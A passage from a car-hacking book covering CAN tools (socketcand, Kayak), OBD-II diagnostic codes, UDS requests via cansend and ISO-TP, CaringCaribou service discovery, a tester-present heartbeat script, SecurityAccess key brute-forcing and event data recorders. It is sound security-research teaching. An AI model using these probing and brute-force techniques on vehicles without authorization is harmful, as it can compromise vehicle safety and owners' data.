programming	language	like	Go	that	can’t	set	the	CAN	low-level	socket
options	described	in	this	chapter.

Socketcand	includes	a	full	protocol	to	control	its	interaction	with	the
CAN	bus.	For	example,	you	can	send	the	following	line	to	socketcand	to
open	a	loopback	interface:

<	can0	C	listen_only	loopback	three_samples	>

The	protocol	for	socketcand	is	essentially	the	same	as	that	of	Jan-Niklas
Meier’s	BCM	server	mentioned	earlier;	it’s	actually	a	fork	of	the	BCM

https://github.com/dschanoeh/socketcand


server.	(Socketcand,	however,	is	a	bit	more	robust	than	the	BCM	server.)

Kayak
Kayak	(http://kayak.2codeornot2code.org/),	a	Java-based	GUI	for	CAN
diagnostics	and	monitoring	(see	Figure	3-2),	is	one	of	the	best	tools	for	use
with	socketcand.	Kayak	links	with	OpenStreetMaps	for	mapping	and	can
handle	CAN	definitions.	As	a	Java-based	application,	it’s	platform
independent,	so	it	leans	on	socketcand	to	handle	communication	to	the
CAN	transceivers.

You	can	download	a	binary	package	for	Kayak	or	compile	from	source.	In
order	to	compile	Kayak,	install	the	latest	version	of	Apache	Maven,	and
clone	the	Kayak	git	repository	(git://github.com/dschanoeh/Kayak).	Once	the
clone	is	complete,	run	the	following:

$	mvn	clean	package

You	should	find	your	binary	in	the	Kayak/application/target/kayak/bin
folder.

Figure	3-2:	The	Kayak	GUI

http://kayak.2codeornot2code.org/
http://git://github.com/dschanoeh/Kayak


Before	you	launch	Kayak,	start	socketcand:

$	socketcand	-i	can0

NOTE

You	can	attach	as	many	CAN	devices	as	you	want	to	socketcand,	separated	by
commas.

Next,	start	Kayak	and	take	the	following	steps:

1.	 Create	a	new	project	with	CTRL-N	and	give	it	a	name.
2.	 Right-click	the	project	and	choose	Newbus;	then,	give	your	bus	a	name

(see	Figure	3-3).

Figure	3-3:	Creating	a	name	for	the	CAN	bus

3.	 Click	the	Connections	tab	at	the	right;	your	socketcand	should	show
up	under	Auto	Discovery	(see	Figure	3-4).

Figure	3-4:	Finding	Auto	Discovery	under	the	Connections	tab

4.	 Drag	the	socketcand	connection	to	the	bus	connection.	(The	bus
connection	should	say	Connection:	None	before	it’s	set	up.)	To	see	the



bus,	you	may	have	to	expand	it	by	clicking	the	drop-down	arrow	next	to
the	bus	name,	as	shown	in	Figure	3-5.

Figure	3-5:	Setting	up	the	bus	connection

5.	 Right-click	the	bus	and	choose	Open	RAW	view.
6.	 Press	the	play	button	(circled	in	Figure	3-6);	you	should	start	to	see

packets	from	the	CAN	bus.

Figure	3-6:	Open	RAW	view	and	press	the	play	button	to	see	packets
from	the	CAN	bus.

7.	 Choose	Colorize	from	the	toolbar	to	make	it	easier	to	see	and	read	the
changing	packets.

Kayak	can	easily	record	and	play	back	packet	capture	sessions,	and	it
supports	CAN	definitions	(stored	in	an	open	KDC	format).	As	of	this
writing,	the	GUI	doesn’t	support	creating	definitions,	but	I’ll	show	how	to
create	definitions	later.



Kayak	is	a	great	open	source	tool	that	can	work	on	any	platform.	In
addition,	it	has	a	friendly	GUI	with	advanced	features	that	allow	you	to
define	the	CAN	packets	you	see	and	view	them	graphically.

Summary
In	this	chapter,	you	learned	how	to	use	SocketCAN	as	a	unified	interface	for
CAN	devices	and	how	to	set	up	your	device	and	apply	the	appropriate	bit
rate	for	your	CAN	bus.	I	reviewed	all	of	the	default	CAN	utilities	in	the	can-
utils	package	that	come	with	SocketCAN	support,	and	I	showed	you	how	to
write	low-level	C	code	to	directly	interface	with	the	CAN	sockets.	Finally,
you	learned	how	to	use	socketcand	to	allow	remote	interaction	with	your
CAN	devices	and	set	up	Kayak	to	work	with	socketcand.	Now	that	you’ve	set
up	communication	with	your	vehicle,	you’re	just	about	ready	to	try	out	some
attacks.



4
DIAGNOSTICS	AND	LOGGING

The	OBD-II	connector	is	primarily	used	by	mechanics	to	quickly	analyze
and	troubleshoot	problems	with	a	vehicle.	(See	“The	OBD-II	Connector”
on	page	17	for	help	locating	the	OBD	connector.)	When	a	vehicle
experiences	a	fault,	it	saves	information	related	to	that	fault	and	triggers	the
engine	warning	light,	also	known	as	the	malfunction	indicator	lamp	(MIL).
These	routine	diagnostic	checks	are	handled	by	the	vehicle’s	primary	ECU,
the	powertrain	control	module	(PCM),	which	can	be	made	up	of	several
ECUs	(but	to	keep	the	discussion	simple,	we’ll	refer	to	it	only	as	the	PCM).

If	you	trigger	faults	while	experimenting	with	the	bus	on	a	vehicle,	you’ll
need	to	able	to	read	and	write	to	the	PCM	in	order	to	clear	them.	In	this
chapter,	we’ll	learn	how	to	fetch	and	clear	diagnostic	codes	as	well	as	query
the	diagnostic	services	of	the	ECU.	We’ll	also	learn	how	to	access	a	vehicle’s
crash	data	recordings	and	how	to	brute-force	hidden	diagnostic	codes.

Diagnostic	Trouble	Codes
The	PCM	stores	fault	codes	as	diagnostic	trouble	codes	(DTCs).	DTCs	are
stored	in	different	places.	For	instance,	memory-based	DTCs	are	stored	in
the	PCM’s	RAM,	which	means	they’re	erased	when	power	from	the	battery
is	lost	(as	is	true	for	all	DTCs	stored	in	RAM).	More	serious	DTCs	are



stored	in	areas	that	will	survive	a	power	failure.
Faults	are	usually	classified	as	either	hard	or	soft.	Soft	faults	map	to

intermittent	issues,	whereas	hard	faults	are	ones	that	won’t	go	away	without
some	sort	of	intervention.	Often	to	determine	whether	a	fault	is	hard	or	soft,
a	mechanic	clears	the	DTCs	and	drives	the	vehicle	to	see	whether	the	fault
reappears.	If	it	reappears,	the	fault	is	a	hard	fault.	A	soft	fault	could	be	due	to
a	problem	such	as	a	loose	gas	cap.

Not	all	faults	trigger	the	MIL	light	right	away.	Specifically,	class	A	faults,
which	signal	a	gross	emissions	failure,	light	the	MIL	right	away,	while	class
B	faults,	which	don’t	affect	the	vehicle’s	emissions	system,	are	stored	the	first
time	they’re	triggered	as	a	pending	fault.	The	PCM	waits	to	record	several	of
the	same	faults	before	triggering	the	MIL.	Class	C	faults	often	won’t	turn	on
the	MIL	light	but	instead	trigger	a	“service	engine	soon”	type	of	message.
Class	D	faults	don’t	trigger	the	MIL	light	at	all.

When	storing	the	DTCs,	the	PCM	snapshots	all	the	relevant	engine
components	in	what	is	known	as	freeze	frame	data,	which	typically	includes
information	such	as	the	following:

•	DTC	involved

•	Engine	load

•	Engine	revolutions	per	minute	(RPM)

•	Engine	temperature

•	Fuel	trim

•	Manifold	air	pressure/mass	air	flow	(MAP/MAF)	values

•	Operating	mode	(open/close	loop)

•	Throttle	position

•	Vehicle	speed

Some	systems	store	only	one	freeze	frame,	usually	for	the	first	DTC
triggered	or	the	highest-priority	DTC,	while	others	record	multiple	ones.

In	an	ideal	world,	these	snapshots	would	happen	as	soon	the	DTC	occurs,
but	the	freeze	frames	are	typically	recorded	about	five	seconds	after	a	DTC
is	triggered.



DTC	Format
A	DTC	is	a	five-character	alphanumeric	code.	For	example,	you’ll	see	codes
like	P0477	(exhaust	pressure	control	valve	low)	and	U0151	(lost
communication	with	restraint	control	module).	The	code	in	the	first	byte
position	represents	the	basic	function	of	the	component	that	set	the	code,	as
shown	in	Table	4-1.

Table	4-1:	Diagnostic	Code	Layouts

Byte	position Description

1 P	(0x0)	=	powertrain,	B	(0x1)	=	body,
C	(0x2)	=	chassis,	U	(0x3)	=	network

2 0,2,3	(SAE	standard)	1,3	(manufacturer	specific)

3 Subgroup	of	position	1

4 Specific	fault	area

5 Specific	fault	area

NOTE

When	set	to	3,	byte	2	is	both	an	SAE-defined	standard	and	a	manufacturer-
specific	code.	Originally,	3	was	used	exclusively	for	manufacturers,	but	pressure
is	mounting	to	standardize	3	to	mean	a	standard	code	instead.	In	modern	cars,
if	you	see	a	3	in	the	second	position,	it’s	probably	an	SAE	standard	code.

The	five	characters	in	a	DTC	are	represented	by	just	two	raw	bytes	on
the	network.	Table	4-2	shows	how	to	break	down	the	2	DTC	bytes	into	a
full	DTC	code.

Table	4-2:	Diagnostic	Code	Binary	Breakdown



Except	for	the	first	two,	the	characters	have	a	one-to-one	relationship.
Refer	to	Table	4-1	to	see	how	the	first	two	bits	are	assigned.

You	should	be	able	to	look	up	the	meaning	of	any	codes	that	follow	the
SAE	standard	online.	Here	are	some	example	ranges	for	common
powertrain	DTCs:

•	P0001–P0099:	Fuel	and	air	metering,	auxiliary	emissions	controls

•	P0100–P0199:	Fuel	and	air	metering

•	P0200–P0299:	Fuel	and	air	metering	(injector	circuit)

•	P0300–P0399:	Ignition	system	or	misfire

•	P0400–P0499:	Auxiliary	emissions	controls

•	P0500–P0599:	Vehicle	speed	controls,	and	idle	control	systems

•	P0600–P0699:	Computer	output	circuit

•	P0700–P0799:	Transmission

To	learn	the	meaning	of	a	particular	code,	pick	up	a	repair	book	in	the
Chilton	series	at	your	local	auto	shop.	There,	you’ll	find	a	list	of	all	OBD-II
diagnostic	codes	for	your	vehicle.

Reading	DTCs	with	Scan	Tools
Mechanics	check	fault	codes	with	scan	tools.	Scan	tools	are	nice	to	have	but
not	necessary	for	vehicle	hacking.	You	should	be	able	to	pick	one	up	at	any
vehicle	supply	store	or	on	the	Internet	for	anywhere	between	$100	and
$3,000.

For	the	cheapest	possible	solution,	you	can	get	an	ELM327	device	on
eBay	for	around	$10.	These	are	typically	dongles	that	need	additional
software,	such	as	a	mobile	app,	in	order	for	them	to	function	fully	as	scan
tools.	The	software	is	usually	free	or	under	$5.	A	basic	scan	tool	should	be
able	to	probe	the	vehicle’s	fault	system	and	report	on	the	common,
nonmanufacturer-specific	DTC	codes.	Higher-end	ones	should	have
manufacturer-specific	databases	that	allow	you	to	perform	much	more
detailed	testing.



Erasing	DTCs
DTCs	usually	erase	themselves	once	the	fault	no	longer	appears	during
conditions	similar	to	when	the	fault	was	first	found.	For	this	purpose,	similar
is	defined	as	the	following:

•	Engine	speed	within	375	RPM	of	the	flagged	condition

•	Engine	load	within	10	percent	of	the	flagged	condition

•	Engine	temp	is	similar

Under	normal	conditions,	once	the	PCM	no	longer	sees	a	fault	after
three	checks,	the	MIL	light	turns	off	and	the	DTCs	get	erased.	There	are
other	ways	to	clear	these	codes:	you	can	clear	soft	DTCs	with	a	scan	tool
(discussed	in	the	previous	section)	or	by	disconnecting	the	vehicle’s	battery.
Permanent	or	hard	DTCs,	however,	are	stored	in	NVRAM	and	are	cleared
only	when	the	PCM	no	longer	sees	the	fault	condition.	The	reason	for	this	is
simple	enough:	to	prevent	mechanics	from	manually	turning	off	the	MIL
and	clearing	the	DTCs	when	the	problem	still	exists.	Permanent	DTCs	give
mechanics	a	history	of	faults	so	that	they’re	in	a	better	position	to	repair
them.

Unified	Diagnostic	Services
The	Unified	Diagnostic	Services	(UDS)	is	designed	to	provide	a	uniform	way
to	show	mechanics	what’s	going	on	with	a	vehicle	without	their	having	to
pay	huge	license	fees	for	the	auto	manufacturer’s	proprietary	CAN	bus
packet	layouts.

Unfortunately,	although	UDS	was	designed	to	make	vehicle	information
accessible	to	even	the	mom-and-pop	mechanic,	the	reality	is	a	bit	different:
CAN	packets	are	sent	the	same	way	but	the	contents	vary	for	each	make,
model,	and	even	year.

Auto	manufacturers	sell	dealers	licenses	to	the	details	of	the	packet
contents.	In	practice,	UDS	just	works	as	a	gateway	to	make	some	but	not	all
of	this	vehicle	information	available.	The	UDS	system	does	not	affect	how	a
vehicle	operates;	it’s	basically	just	a	read-only	view	into	what’s	going	on.
However,	it’s	possible	to	use	UDS	to	perform	more	advanced	operations,
such	as	diagnostic	tests	or	firmware	modifications	(tests	that	are	only	a



feature	of	higher-end	scan	tools).	Diagnostic	tests	like	these	send	the	system
a	request	to	perform	an	action,	and	that	request	generates	signals,	such	as
other	CAN	packets,	that	are	used	to	perform	the	work.	For	instance,	a
diagnostic	tool	may	make	a	request	to	unlock	the	car	doors,	which	results	in
the	component	sending	a	separate	CAN	signal	that	actually	does	the	work	of
unlocking	the	doors.

Sending	Data	with	ISO-TP	and	CAN
Because	CAN	frames	are	limited	to	8	bytes	of	data,	UDS	uses	the	ISO-TP
protocol	to	send	larger	outputs	over	the	CAN	bus.	You	can	still	use	regular
CAN	to	read	or	send	data,	but	the	response	won’t	be	complete	because	ISO-
TP	allows	chaining	of	multiple	CAN	packets.

To	test	ISO-TP,	connect	to	a	CAN	network	that	has	diagnostic-capable
modules	such	as	an	ECU.	Then	send	a	packet	designed	for	ISO-TP	over
normal	CAN	using	SocketCAN’s	cansend	application:

$	cansend	can0	7df#02010d
Replies	similar	to	7e8	03	41	0d	00

In	this	listing,	7df	is	the	OBD	diagnostic	code,	02	is	the	size	of	the	packet,
01	is	the	mode	(show	current	data;	see	Appendix	B	for	a	list	of	common
modes	and	PIDs),	and	0d	is	the	service	(a	vehicle	speed	of	0	because	the
vehicle	was	stationary).	The	response	adds	0x8	to	the	ID	(7e8);	the	next	byte
is	the	size	of	the	response.	Responses	then	add	0x40	to	the	type	of	request,
which	is	0x41	in	this	case.	Then,	the	service	is	repeated	and	followed	by	the
data	for	the	service.	ISO-TP	dictates	how	to	respond	to	a	CAN	packet.

Normal	CAN	packets	use	a	“fire-and-forget”	structure,	meaning	they
simply	send	data	and	don’t	wait	for	a	return	packet.	ISO-TP	specifies	a
method	to	receive	response	data.	Because	this	response	data	can’t	be	sent
back	using	the	same	arbitration	ID,	the	receiver	returns	the	response	by
adding	0x8	to	the	ID	and	noting	that	the	response	is	a	positive	one	by	adding
0x40	to	the	request.	(If	the	response	fails,	you	should	see	a	0x7F	instead	of
the	positive	+	0x40	response.)

Table	4-3	lists	the	most	common	error	responses.

Table	4-3:	Common	UDS	Error	Responses



Hex	(4th
byte)

Abbreviation Description

10 GR General	reject

11 SNS Service	not	supported

12 SFNS Subfunction	not	supported

13 IMLOIF Incorrect	message	length	or	invalid	format

14 RTL Response	too	long

21 BRR Busy	repeat	request

22 CNC Condition	not	correct

24 RSE Request	sequence	error

25 NRFSC No	response	from	subnet	component

26 FPEORA Failure	prevents	execution	of	requested	action

31 ROOR Request	out	of	range

33 SAD Security	access	denied

35 IK Invalid	key

36 ENOA Exceeded	number	of	attempts

37 RTDNE Required	time	delay	not	expired

38-4F RBEDLSD Reserved	by	extended	data	link	security
document

70 UDNA Upload/download	not	accepted

71 TDS Transfer	data	suspended

72 GPF General	programming	failure

73 WBSC Wrong	block	sequence	counter

78 RCRRP Request	correctly	received	but	response	is
pending

7E SFNSIAS Subfunction	not	supported	in	active	session

7F SNSIAS Service	not	supported	in	active	session

For	example,	if	you	use	service	0x11	to	reset	the	ECU	and	the	ECU



doesn’t	support	remote	resets,	you	may	see	traffic	like	this:

$	cansend	can0	7df#021101
Replies	similar	to	7e8	03	7F	11	11

In	this	response,	we	can	see	that	after	0x7e8,	the	next	byte	is	0x03,	which
represents	the	size	of	the	response.	The	next	byte,	0x7F,	represents	an	error
for	service	0x11,	the	third	byte.	The	final	byte,	0x11,	represents	the	error
returned—in	this	case,	service	not	supported	(SNS).

To	send	or	receive	something	with	more	than	the	8	bytes	of	data	in	a
standard	CAN	packet,	use	SocketCAN’s	ISO-TP	tools.	Run	istotpsend	in
one	terminal,	and	then	run	isotpsniffer	(or	isotprecv)	in	another	terminal
to	see	the	response	to	your	istotpsend	commands.	(Don’t	forget	to	insmod
your	can-isotp.ko	module,	as	described	in	Chapter	3.)

For	example,	in	one	terminal,	set	up	a	sniffer	like	this:

$	isotpsniffer	-s	7df	-d	7e8	can0

Then,	in	another	terminal,	send	the	request	packet	via	the	command	line:

$	echo	"09	02"	|	isotpsend	-s	7DF	-d	7E8	can0

When	using	ISO-TP,	you	need	to	specify	a	source	and	destination
address	(ID).	In	the	case	of	UDS,	the	source	is	0x7df,	and	the	destination
(response)	is	0x7e8.	(When	using	ISO-TP	tools,	the	starting	0x	in	the
addresses	isn’t	specified.)

In	this	example,	we’re	sending	a	packet	containing	PID	0x02	with	mode
0x09	in	order	to	request	the	vehicle’s	VIN.	The	response	in	the	sniffer
should	display	the	vehicle’s	VIN,	as	shown	here	in	the	last	line	of	output:

$	isotpsniffer	-s	7df	-d	7e8	can0
can0	7DF	[2]	09	02	-	'..'

can0	7E8	[20]	49➊	02➋	01➌	31	47	31	5A	54	35	33	38	32	36	46	31	30	39	31
34	39
-	'I..1G1ZT53826F109149'

The	first	3	bytes	make	up	the	UDS	response.	0x49	➊	is	service	0x09	+
0x40,	which	signifies	a	positive	response	for	PID	0x02	➋,	the	next	byte.	The
third	byte,	0x01	➌,	indicates	the	number	of	data	items	that	are	being



returned	(one	VIN	in	this	case).	The	VIN	returned	is
1G1ZT53826F109149.	Enter	this	VIN	into	Google,	and	you	should	see
detailed	information	about	this	vehicle,	which	was	taken	from	an	ECU
pulled	from	a	wrecked	car	found	in	a	junkyard.	Table	4-4	shows	the
information	you	should	see.

Table	4-4:	VIN	Information

Model Year Make Body Engine

Malibu 2006 ChevroletSedan	4	Door3.5L	V6	OHV	12V

If	you	were	watching	this	UDS	query	via	a	normal	CAN	sniffer,	you’d
have	seen	several	response	packets	on	0x7e8.	You	could	re-assemble	an	ISO-
TP	packet	by	hand	or	with	a	simple	script,	but	the	ISO-TP	tools	make
things	much	easier.

NOTE

If	you	have	difficulty	running	the	ISO-TP	tools,	make	sure	you	have	the
proper	kernel	module	compiled	and	installed	(see	“Installing	Additional	Kernel
Modules”	on	page	42).

Understanding	Modes	and	PIDs
The	first	byte	of	the	data	section	in	a	diagnostic	code	is	the	mode.	In
automotive	manuals,	modes	start	with	a	$,	as	in	$1.	The	$	is	used	to	state
that	the	number	is	in	hex.	The	mode	$1	is	the	same	as	0x01,	$0A	is	the	same
as	0x0A,	and	so	on.	I’ve	listed	a	few	examples	here,	and	there	are	more	in
Appendix	B	for	reference.

0x01:	Shows	current	data
Shows	data	 streams	of	 a	 given	PID.	Sending	 a	PID	of	0x00	 returns	4
bytes	of	bit-encoded	available	PIDs	(0x01	through	0x20).

0x02:	Shows	freeze	frame	data
Has	the	same	PID	values	as	0x01,	except	that	the	data	returned	is	from
the	freeze	frame	state.



0x03:	Shows	stored	“confirmed”	diagnostic	trouble	codes
Matches	the	DTCs	mentioned	in	“DTC	Format”	on	page	52.

0x04:	Erases	DTCs	and	clears	diagnostic	history
Clears	the	DTC	and	freeze	frame	data.

0x07:	Shows	“pending”	diagnostic	codes
Displays	 codes	 that	 have	 shown	 up	 once	 but	 that	 haven’t	 been
confirmed;	status	pending.

0x08:	Controls	operations	of	onboard	component/system
Allows	 a	 technician	 to	 activate	 and	 deactivate	 the	 system	 actuators
manually.	 System	 actuators	 allow	 drive-by-wire	 operations	 and
physically	 control	 different	 devices.	These	 codes	 aren’t	 standard,	 so	 a
common	scan	tool	won’t	be	able	to	do	much	with	this	mode.	Dealership
scan	 tools	 have	 a	 lot	 more	 access	 to	 vehicle	 internals	 and	 are	 an
interesting	target	for	hackers	to	reverse	engineer.

0x09:	Requests	vehicle	information
Several	pieces	of	data	can	be	pulled	with	mode	0x09.

0x0a:	Permanent	diagnostic	codes
This	mode	 pulls	DTCs	 that	 have	 been	 erased	 via	mode	 0x04.	 These
DTCs	are	cleared	only	once	the	PCM	has	verified	the	fault	condition	is
no	longer	present	(see	“Erasing	DTCs”	on	page	54).

Brute-Forcing	Diagnostic	Modes
Each	manufacturer	has	its	own	proprietary	modes	and	PIDs,	which	you	can
usually	get	by	digging	through	“acquired”	dealer	software	or	by	using	tools
or	brute	force.	The	easiest	way	to	do	brute	force	is	to	use	an	open	source
tool	called	the	CaringCaribou	(CC),	available	at
https://github.com/CaringCaribou/caringcaribou.

CaringCaribou	consists	of	a	collection	of	Python	modules	designed	to
work	with	SocketCAN.	One	such	module	is	a	DCM	module	that	deals
specifically	with	discovering	diagnostic	services.

To	get	started	with	CaringCaribou,	create	an	RC	file	in	your	home

https://github.com/CaringCaribou/caringcaribou


directory,	~/.canrc.

[default]
interface	=	socketcan_ctypes
channel	=	can0

Set	your	channel	to	that	of	your	SocketCAN	device.	Now,	to	discover
what	diagnostics	your	vehicle	supports,	run	the	following:

$	./cc.py	dcm	discovery

This	will	send	the	tester-present	code	to	every	arbitration	ID.	Once	the
tool	sees	a	valid	response	(0x40+service)	or	an	error	(0x7f),	it’ll	print	the
arbitration	ID	and	the	reply	ID.	Here	is	an	example	discovery	session	using
CaringCaribou:

-------------------
CARING	CARIBOU	v0.1
-------------------

Loaded	module	'dcm'

Starting	diagnostics	service	discovery
Sending	diagnostics	Tester	Present	to	0x0244
Found	diagnostics	at	arbitration	ID	0x0244,	reply	at	0x0644

We	see	that	there’s	a	diagnostic	service	responding	to	0x0244.	Great!
Next,	we	probe	the	different	services	on	0x0244:

$	./cc.py	dcm	services	0x0244	0x0644

-------------------
CARING	CARIBOU	v0.1
-------------------

Loaded	module	'dcm'

Starting	DCM	service	discovery
Probing	service	0xff	(16	found)
Done!

Supported	service	0x00:	Unknown	service
Supported	service	0x10:	DIAGNOSTIC_SESSION_CONTROL
Supported	service	0x1a:	Unknown	service
Supported	service	0x00:	Unknown	service
Supported	service	0x23:	READ_MEMORY_BY_ADDRESS



Supported	service	0x27:	SECURITY_ACCESS
Supported	service	0x00:	Unknown	service
Supported	service	0x34:	REQUEST_DOWNLOAD
Supported	service	0x3b:	Unknown	service
Supported	service	0x00:	Unknown	service
Supported	service	0x00:	Unknown	service
Supported	service	0x00:	Unknown	service
Supported	service	0xa5:	Unknown	service
Supported	service	0xa9:	Unknown	service
Supported	service	0xaa:	Unknown	service
Supported	service	0xae:	Unknown	service

Notice	that	the	output	lists	several	duplicate	services	for	service	0x00.
This	is	often	caused	by	an	error	response	for	something	that’s	not	a	UDS
service.	For	instance,	the	requests	below	0x0A	are	legacy	modes	that	don’t
respond	to	the	official	UDS	protocol.

NOTE

As	of	this	writing,	CaringCaribou	is	in	its	early	stages	of	development,	and
your	results	may	vary.	The	current	version	available	doesn’t	account	for	older
modes	and	parses	the	response	incorrectly,	which	is	why	you	see	several	services
with	ID	0x00.	For	now,	just	ignore	those	services;	they’re	false	positives.
CaringCaribou’s	discovery	option	stops	at	the	first	arbitration	ID	that	responds
to	a	diagnostic	session	control	(DSC)	request.	Restart	the	scan	from	where	it
left	off	using	the	-min	option,	as	follows:

$	./cc.py	dcm	discovery	-min	0x245

In	our	example,	the	scan	will	also	stop	scanning	a	bit	later	at	this	more
common	diagnostic	ID:

Found	diagnostics	at	arbitration	ID	0x07df,	reply	at	0x07e8

Keeping	a	Vehicle	in	a	Diagnostic	State
When	doing	certain	types	of	diagnostic	operations,	it’s	important	to	keep
the	vehicle	in	a	diagnostic	state	because	it’ll	be	less	likely	to	be	interrupted,
thereby	allowing	you	to	perform	actions	that	can	take	several	minutes.	In
order	to	keep	the	vehicle	in	this	state,	you	need	to	continuously	send	a
packet	to	let	the	vehicle	know	that	a	diagnostic	technician	is	present.



These	simple	scripts	will	keep	the	car	in	a	diagnostic	state	that’ll	prove
useful	for	flashing	ROMs	or	brute-forcing.	The	tester	present	packet	keeps
the	car	in	a	diagnostic	state.	It	works	as	a	heartbeat,	so	you’ll	need	to
transmit	it	every	one	to	two	seconds,	as	shown	here:

#!/bin/sh
while	:
do
cansend	can0	7df#013e
sleep	1
done

You	can	do	the	same	things	with	cangen:

$	cangen	-g	1000	-I	7DF	-D	013E	-L	2	can0

NOTE

As	of	this	writing,	cangen	doesn’t	always	work	on	serial-line	CAN	devices.
One	possible	workaround	is	to	tell	slcand	to	use	canX	style	names	instead	of
slcanX.

Use	the	ReadDataByID	command	to	read	data	by	ID	and	to	query	devices
for	information.	0x01	is	the	standard	query.	The	enhanced	version,	0x22,	can
return	information	not	available	with	standard	OBD	tools.

Use	the	SecurityAccess	command	(0x27)	to	access	protected	information.
This	can	be	a	rolling	key,	meaning	that	the	password	or	key	changes	each
time,	but	the	important	thing	is	that	the	controller	responds	if	successful.
For	example,	if	you	send	the	key	0x1,	and	it’s	the	correct	access	code,	then
you	should	receive	an	0x2	in	return.	Some	actions,	such	as	flashing	ROMs,
will	require	you	to	send	a	SecurityAccess	request.	If	you	don’t	have	the
algorithm	to	generate	the	necessary	challenge	response,	then	you’ll	need	to
brute-force	the	key.

Event	Data	Recorder	Logging
You	likely	know	that	airplanes	have	black	boxes	that	record	information
about	flights	as	well	as	conversations	in	the	cockpit	and	over	radio
transmissions.	All	2015	and	newer	vehicles	are	also	required	to	have	a	type	of



black	box,	known	as	an	event	data	recorder	(EDR),	but	EDRs	record	only	a
portion	of	the	information	that	a	black	box	on	an	airplane	would.	The
information	stored	on	the	EDR	includes	the	following	(you’ll	find	a	more
complete	list	in	SAE	J1698-2):

•	Airbag	deployment

•	Brake	status

•	Delta-v	(longitudinal	change	in	velocity)

•	Ignition	cycles

•	Seat	belt	status

•	Steering	angles

•	Throttle	position

•	Vehicle	speed

While	this	data	is	very	similar	to	freeze	frame	data,	its	purpose	is	to
collect	and	store	information	during	a	crash.	The	EDR	constantly	stores
information,	typically	only	about	20	seconds	worth	at	any	one	time.	This
information	was	originally	stored	in	a	vehicle’s	airbag	control	module
(ACM),	but	today’s	vehicles	distribute	this	data	among	the	vehicle’s	ECUs.
These	boxes	collect	data	from	other	ECUs	and	sensors	and	store	them	for
recovery	after	a	crash.	Figure	4-1	shows	a	typical	EDR.



Figure	4-1:	A	typical	event	data	recorder

Reading	Data	from	the	EDR
The	official	way	to	read	data	from	an	EDR	is	with	a	crash	data	retrieval
(CDR)	tool	kit.	A	basic	CDR	tool	will	connect	to	the	OBD	connector	and
pull	data	(or	image	the	vehicle)	from	the	main	ECU.	CDR	tools	can	also
access	data	in	other	modules,	such	as	the	ACM	or	the	rollover	sensor	(ROS)
module,	but	they’ll	normally	need	to	be	plugged	in	directly	to	those	devices
instead	of	using	the	OBD	port.	(You’ll	find	a	comprehensive	list	of	which
vehicles	have	black	box	data	that	can	be	retrieved	here:
http://www.crashdatagroup.com/research/vehiclecoverage.html.)

CDR	kits	include	both	proprietary	hardware	and	software.	The	hardware
usually	costs	about	$2,000,	and	the	cost	of	the	software	will	vary	depending
on	how	many	vehicle	types	you	want	to	support.	The	format	of	vehicle	crash
data	is	often	considered	proprietary	as	well,	and	many	manufacturers	license
the	communication	protocol	to	tool	providers	that	make	CDRs.	Obviously,
this	is	not	in	the	best	interest	of	the	consumer.	The	National	Highway

http://www.crashdatagroup.com/research/vehiclecoverage.html


Traffic	Safety	Administration	(NHTSA)	has	proposed	the	adoption	of	a
standard	OBD	communication	method	to	access	this	data.

The	SAE	J1698	Standard
The	SAE	J1698	standard	lists	recommended	practices	for	event	data
collection	and	defines	event	records	by	sample	rate:	high,	low,	and	static.
High	samples	are	data	recorded	at	the	crash	event,	low	samples	are	pre-crash
data,	and	static	samples	are	data	that	doesn’t	change.	Many	vehicles	are
influenced	by	the	SAE	J1698	but	don’t	necessarily	conform	to	its	rules	for	all
data	retrieved	from	a	vehicle.

Some	recorded	elements	are:

•	Cruise	control	status

•	Driver	controls:	parking	brake,	headlight,	front	wiper,	gear	selection,
passenger	airbag	disabled	switch

•	Foremost	seat	track	position

•	Hours	in	operation

•	Indicator	status	lights:	VEDI,	SRS,	PAD,	TPMS,	ENG,	DOOR,	IOD

•	Latitude	and	longitude

•	Seating	position

•	SRS	deployment	status/time

•	Temperature	air/cabin

•	Vehicle	mileage

•	VIN

While	the	SAE	J1698	states	latitude	and	longitude	recordings,	many
manufacturers	claim	not	to	record	this	information	for	privacy	reasons.	Your
research	may	vary.

Other	Data	Retrieval	Practices
Not	all	manufacturers	conform	the	to	SAE	J1698	standard.	For	example,
since	the	1990s,	General	Motors	has	collected	a	small	amount	of	EDR	data



in	the	sensing	and	diagnostic	module	(SDM)	of	its	vehicles.	The	SDM	stores
the	vehicle’s	Delta-v,	which	is	the	longitudinal	change	in	the	vehicle’s
velocity.	The	SDM	does	not	record	any	post-crash	information.

Another	example	is	Ford’s	EDR,	known	as	the	restraint	control	module
(RCM).	Ford	stores	a	vehicle’s	longitudinal	and	lateral	acceleration	data
rather	than	Delta-v.	If	the	vehicle	has	electronic	throttle	control,	the	PCM
stores	additional	EDR	data,	including	whether	the	passenger	was	an	adult	or
not,	the	percent	the	accelerator/brake	pedal	was	depressed,	and	whether	a
diagnostic	code	was	active	when	the	crash	occurred.

Automated	Crash	Notification	Systems
Automated	crash	notification	(ACN)	systems	are	the	phone-home	systems	that
contact	a	vehicle’s	manufacturer	or	a	third	party	with	event	information.
These	coincide	with	other	crash	recovery	systems	and	extend	the
functionality	by	contacting	the	manufacturer	or	third	party.	One	major
difference	is	that	there	aren’t	rules	or	standards	that	determine	what	data	is
collected	and	sent	to	an	ACN.	ACNs	are	specific	to	each	manufacturer,	and
each	system	will	send	different	information.	For	example,	the	Veridian
automated	collision	notification	system	(released	in	2001)	reports	this
information:

•	Crash	type	(frontal,	side,	rear)

•	Date	and	time

•	Delta-v

•	Longitude	and	latitude

•	Make,	model,	and	year	of	vehicle

•	Principal	direction	of	force

•	Probable	number	of	occupants

•	Rollover	(yes	or	no)

•	Seat	belt	use

•	Vehicle’s	final	resting	position	(normal,	left	side,	right	side,	roof)



Malicious	Intent
Attackers	may	target	a	vehicle’s	DTCs	and	freeze	frame	data	to	hide
malicious	activity.	For	example,	if	an	exploit	needs	to	take	advantage	of	only
a	brief,	temporary	condition	in	order	to	succeed,	a	vehicle’s	freeze	frame
data	will	most	likely	miss	the	event	due	to	delays	in	recording.	Captured
freeze	frame	snapshots	rarely	contain	information	that	would	help	determine
whether	the	DTC	was	triggered	by	malicious	intent.	(Because	black	box
EDR	systems	typically	trigger	only	during	a	crash,	it’s	unlikely	that	an
attacker	would	target	them	because	they’re	not	likely	to	contain	useful	data.)

An	attacker	fuzzing	a	vehicle’s	system	might	check	for	fired	DTCs	and
use	the	information	contained	in	a	DTC	to	determine	which	component	was
affected.	This	type	of	attack	would	most	likely	occur	during	the	research
phase	of	an	attack	(when	an	attacker	is	trying	to	determine	what	components
